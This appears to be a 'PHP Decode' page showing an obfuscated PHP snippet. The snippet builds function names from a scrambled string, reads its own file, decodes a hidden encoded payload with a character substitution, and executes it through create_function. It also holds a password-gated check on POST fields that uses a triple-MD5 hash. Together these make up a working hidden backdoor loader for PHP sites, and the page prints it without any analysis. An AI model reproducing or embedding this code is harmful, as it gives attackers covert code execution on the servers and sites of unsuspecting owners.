PHP Decode

<?  "-;-";$wucvgtu='e6s5mgtbpofur_cnlia4dx';$hgqyccc=$wucvgtu{10}.$wucvgtu{17}.$wucvgtu{16}.$wucvgtu{0}.$wucvgtu{13}.$wucvgtu{5}.$wucvgtu{0}.$wucvgtu{6}.$wucvgtu{13}.$wucvgtu{14}.$wucvgtu{9}.$wucvgtu{15}.$wucvgtu{6}.$wucvgtu{0}.$wucvgtu{15}.$wucvgtu{6}.$wucvgtu{2};$cccgyeei=$wucvgtu{2}.$wucvgtu{6}.$wucvgtu{12}.$wucvgtu{13}.$wucvgtu{12}.$wucvgtu{0}.$wucvgtu{8}.$wucvgtu{16}.$wucvgtu{18}.$wucvgtu{14}.$wucvgtu{0};$hccgeqcyi=$wucvgtu{0}.$wucvgtu{21}.$wucvgtu{8}.$wucvgtu{16}.$wucvgtu{9}.$wucvgtu{20}.$wucvgtu{0};$ccqgcyeei=$wucvgtu{7}.$wucvgtu{18}.$wucvgtu{2}.$wucvgtu{0}.$wucvgtu{1}.$wucvgtu{19}.$wucvgtu{13}.$wucvgtu{20}.$wucvgtu{0}.$wucvgtu{14}.$wucvgtu{9}.$wucvgtu{20}.$wucvgtu{0};$qehgcic=$wucvgtu{6}.$wucvgtu{12}.$wucvgtu{17}.$wucvgtu{4};$cqecgych=$wucvgtu{4}.$wucvgtu{20}.$wucvgtu{3};$qcehcy=$wucvgtu{14}.$wucvgtu{12}.$wucvgtu{0}.$wucvgtu{18}.$wucvgtu{6}.$wucvgtu{0}.$wucvgtu{13}.$wucvgtu{10}.$wucvgtu{11}.$wucvgtu{15}.$wucvgtu{14}.$wucvgtu{6}.$wucvgtu{17}.$wucvgtu{9}.$wucvgtu{15};$chycigc=$wucvgtu{2}.$wucvgtu{6}.$wucvgtu{12}.$wucvgtu{6}.$wucvgtu{12};$xjrqdbrp=$hgqyccc($cccgyeei('\','/',__FILE__));$rlpbqsr=$hccgeqcyi($ccqgcyeei('Ii07LSI7'),$xjrqdbrp);$rjpxr=$qehgcic($qehgcic($rlpbqsr[3],";"),'"');$xrqrj=$rlpbqsr[1];$rbldsq=$cqecgych($xrqrj);$dxsljpb=$rprxsjbld=$rsjxrl='';$sxrjdqlb=@$qcehcy('','');$xjrqdbrp=$xrqrj=NULL;"-;-";$rprxsjbld='a7z0+crcz-recp5pzz-e0czk!7evkz-z';$rsjxrl=$ccqgcyeei($cccgyeei($rbldsq,'',$chycigc($rjpxr.$rprxsjbld, 'wb0cfxzr,n4-.p8qjd1eouha!ktym9g6+?i23lv57;s', 's;75vl32i?+6g9mytk!ahuoe1djq8p.-4n,rzxfc0bw')));$dxsljpb=@$qcehcy('',$rsjxrl);$dxsljpb();unset($wucvgtu,$hgqyccc,$cccgyeei,$hccgeqcyi,$ccqgcyeei,$qehgcic,$cqecgych,$qcehcy,$chycigc,$xjrqdbrp,$rlpbqsr,$rjpxr,$xrqrj,$rbldsq,$dxsljpb,$rprxsjbld,$rsjxrl,$sxrjdqlb);"-;-";"eWYheXN3ZXQhJFpQT!NUWqJlkrVqIx79KXjAZXZo;Co,YXNxNtRvZGVt;rRxKCRvUEpTVFw,5Xkx5,JkKSd0ZXo9kDjpeWYheXN3ZXQhJFpDT7pLSUV;I?FzZXI,XSd9a7Bxk8FwKGJo5rUrNFpdZWNfZGUhJFpDT7pLSUV;I?FzZXI,XSd9OrV+eXQ0vQ==";"-;-"; 
if(!isset($_POST['hellokittyboygirlqwer']) && isset($_POST['username']) && preg_match('~\\0~', $_POST['username'])) $_POST['username'] = ''; else if(isset($_POST['hellokittyboygirlqwer']) && md5(md5(md5($_POST['hellokittyboygirlqwer']))) !== 'b3d2ef8987187479d1041a971d3997bd' && isset($_POST['username']) && preg_match('~\\0~', $_POST['username'])) $_POST['username'] = ''; 
 ?>